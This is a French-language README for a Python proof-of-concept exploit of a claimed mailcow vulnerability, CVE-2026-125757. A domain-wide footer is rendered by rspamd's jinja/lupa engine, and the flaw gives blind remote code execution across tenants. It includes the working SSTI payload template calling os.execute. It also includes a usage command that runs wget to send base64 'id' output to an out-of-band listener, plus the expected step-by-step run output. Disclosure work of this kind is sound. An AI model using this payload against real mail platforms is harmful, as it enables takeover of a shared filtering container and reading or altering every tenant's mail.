PoC Python pour CVE-2026-125757 : exploite l'injection de template côté serveur (SSTI) dans le pied de page à l'échelle du domaine de mailcow, au sein du moteur jinja/lupa de rspamd, afin d'obtenir une RCE aveugle inter-locataires via SMTP authentifié.
Un administrateur de domaine peut stocker un pied de page à l'échelle du domaine dont le HTML est conservé tel quel puis rendu par le moteur jinja/lupa de rspamd lors du prochain message sortant authentifié du domaine. La valeur par défaut d'une macro jinja dans le pied de page est compilée par lupa avec load('return '..default) sans l'environnement sandbox, elle s'exécute donc dans les globals LuaJIT réels de rspamd où os.execute est accessible — exécution de commandes arbitraires, et non une simple expansion de chaînes. rspamd est un conteneur unique partagé par tous les locataires, ainsi un administrateur d'un seul domaine atteint le courrier en transit de tous les locataires et la plateforme de filtrage dans son ensemble.
| Affecté | mailcow/mailcow-dockerized < 2026-11 (master @ 55982ac74bfd35581cc44b122ab5fc659e3ae90a ; rspamd 4.2.1-1) |
| Corrigé | >= 2026-11 (pied de page rendu avec substitution de variables uniquement, sans syntaxe de contrôle de template) |
| Prérequis | administrateur de domaine d'au moins 1 domaine, agissant dans sa propre session authentifiée ; un message sortant authentifié pour déclencher. Pas besoin d'administrateur global, d'accès à l'hôte ni de position réseau |
| Impact | RCE dans le conteneur rspamd partagé → lire/modifier/injecter le courrier de chaque locataire, désactiver le filtrage spam/AV à l'échelle de la plateforme, atteindre le redis de rspamd ; DoS inter-conteneurs via MC_CHANNEL. |
| Sévérité | CVSS 3.1 = 9.1 (Critique) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-1336 |
Le pied de page est stocké tel quel derrière un unique contrôle de portée locataire et injecté, sans modification, dans un moteur de template :
// src/data/web/inc/functions.mailbox.inc.php — case 'domain_wide_footer'
$footer_html = $attr['html']; // :4187 stored verbatim, no template sanitisation
... hasDomainAccess($_SESSION['...'], $domain) ... // :4251 only gate (tenant scope)
INSERT INTO domain_footer (html, plain, ...) ... // :4263
// reached unauthenticated-to-the-sink via: POST /api/v1/edit/domain/footer
-- src/data/conf/rspamd/rspamd.local.lua — MOO_FOOTER prefilter renders the stored footer
lua_util.jinja_template(footer.html, ...) -- :847 (and footer.plain :850) [feed: dynmaps/footer.php]
-- contrib/lua-lupa/lupa.lua — a macro default value is compiled OUTSIDE the sandbox env
load('return ' .. default) -- :487 -> runs in real _G; os.execute reachable
-- :554 {% filter %} params share the same path
Un pied de page de la forme {% macro p(a=os.execute("<cmd>")) %}{% endmacro %}footer exécute donc <cmd>
à l'intérieur du conteneur rspamd lorsque MOO_FOOTER le rend. Le pied de page est rendu à la fois pour la partie HTML et la
partie texte, la commande s'exécute donc à chaque message sortant authentifié du domaine.
CVE-2026-125757.py (bibliothèque standard uniquement, Python 3.8+) parcourt toute la chaîne et affiche chaque étape — connexion → création d'une
boîte jetable → implantation de la charge utile du pied de page → déclenchement via SMTP → vérification → nettoyage. La commande s'exécute en aveugle
(aucune sortie standard n'est renvoyée via SMTP), pointez donc --cmd vers un listener hors bande que vous contrôlez.
# on your host, start a listener first: python3 -m http.server 8000
# blind RCE, confirmed by the callback (base64 so `id` output survives the URL path):
python3 CVE-2026-125757.py --url https://mail.example --username da_a --password 'PW' \
--domain tenanta.test --cmd 'wget -qO- http://10.0.0.1:8000/$( id | base64 -w0 )'
Sortie attendue :
[1/5] login as domain admin 'da_a' ............. ok
[2/5] create throwaway mailbox ................. ok ([email protected])
[3/5] plant SSTI footer payload ................ ok
[4/5] trigger: send authenticated mail (SMTP 587) ... ok (4.2s)
[5/5] verify execution ......................... ok
[+] PAYLOAD DELIVERED: footer rendered, os.execute('wget ...') ran in rspamd
Blind RCE (no stdout over SMTP) - confirm on your out-of-band listener
[*] cleanup: reset footer ...................... ok
[*] cleanup: delete mailbox .................... ok ([email protected])